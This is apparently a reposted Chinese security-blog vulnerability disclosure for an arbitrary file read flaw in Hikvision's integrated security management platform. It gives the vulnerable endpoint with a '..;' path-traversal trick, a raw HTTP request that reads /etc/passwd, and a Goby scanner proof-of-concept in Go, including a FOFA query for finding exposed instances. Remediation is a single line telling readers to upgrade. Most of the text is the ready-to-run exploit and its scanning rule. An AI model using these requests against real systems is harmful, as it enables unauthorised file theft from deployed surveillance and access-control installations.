当前位置:首页 > 信息安全 > 正文

海康综合安防管理平台任意文件读取漏洞

海康综合安防管理平台任意文件读取漏洞

漏洞描述

海康威视的综合安防管理平台是一套高度集成的智能化系统,它可以对接多个安全子系统,如视频监控、报警系统、门禁系统、考勤系统、可视对讲系统以及停车场管理系统等,其存在任意文件读取漏洞,造成信息泄露。


海康综合安防管理平台任意文件读取漏洞

漏洞复现

漏洞URL:/center/api/task/..;/orgManage/v1/orgs/download

漏洞参数:fileName

漏洞详情:

1、打开自己的服务

海康综合安防管理平台任意文件读取漏洞

2、使用以下数据包进行访问










GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateTe: trailersConnection: close

3、漏洞检测存在

海康综合安防管理平台任意文件读取漏洞


goby检测规则脚本:











































































































































package exploits
import (  "git.gobies.org/goby/goscanner/goutils")
func init() {  expJson := `{  "Name": "海康综合管理平台 readfile",  "Description": "",  "Product": "",  "Homepage": "",  "DisclosureDate": "2024-05-31",  "PostTime": "2024-05-31",  "Author": "1589315990@qq.com",  "FofaQuery": "title=\"综合安防管理平台\"",  "GobyQuery": "title=\"综合安防管理平台\"",  "Level": "3",  "Impact": "",  "Recommendation": "",  "References": [],  "Is0day": false,  "HasExp": false,  "ExpParams": [],  "ExpTips": {    "Type": "",    "Content": ""  },  "ScanSteps": [    "AND",    {      "Request": {        "method": "GET",        "uri": "/center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd",        "follow_redirect": true,        "header": {          "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36",          "Accept-Encoding": "gzip, deflate",          "Accept": "*/*",          "Connection": "keep-alive"        },        "data_type": "text",        "data": ""      },      "ResponseTest": {        "type": "group",        "operation": "AND",        "checks": [          {            "type": "item",            "variable": "$code",            "operation": "==",            "value": "200",            "bz": ""          },          {            "type": "item",            "variable": "$body",            "operation": "contains",            "value": "root:",            "bz": ""          }        ]      },      "SetVariable": []    }  ],  "ExploitSteps": [    "AND",    {      "Request": {        "method": "GET",        "uri": "/test.php",        "follow_redirect": true,        "header": {},        "data_type": "text",        "data": ""      },      "ResponseTest": {        "type": "group",        "operation": "AND",        "checks": [          {            "type": "item",            "variable": "$code",            "operation": "==",            "value": "200",            "bz": ""          },          {            "type": "item",            "variable": "$body",            "operation": "contains",            "value": "test",            "bz": ""          }        ]      },      "SetVariable": []    }  ],  "Tags": [],  "VulType": [],  "CVEIDs": [    ""  ],  "CVSSScore": "",  "Translation": {    "CN": {      "Name": "海康综合管理平台 readfile",      "Product": "",      "Description": "",      "Recommendation": "",      "Impact": "",      "VulType": [],      "Tags": []    },    "EN": {      "Name": "海康综合管理平台 readfile",      "Product": "",      "Description": "",      "Recommendation": "",      "Impact": "",      "VulType": [],      "Tags": []    }  },  "PocGlobalParams": {},  "ExpGlobalParams": {}}`
 ExpManager.AddExploit(NewExploit(    goutils.GetFileName(),    expJson,    nil,    nil,  ))}



海康综合安防管理平台任意文件读取漏洞

修复建议

升级至安全版本。 


转自小羊安全屋(wx:gh_431c125001cd)https://mp.weixin.qq.com/s/s_mdbvrX8e25sD19CNNkhg

相关文章:

文章已关闭评论!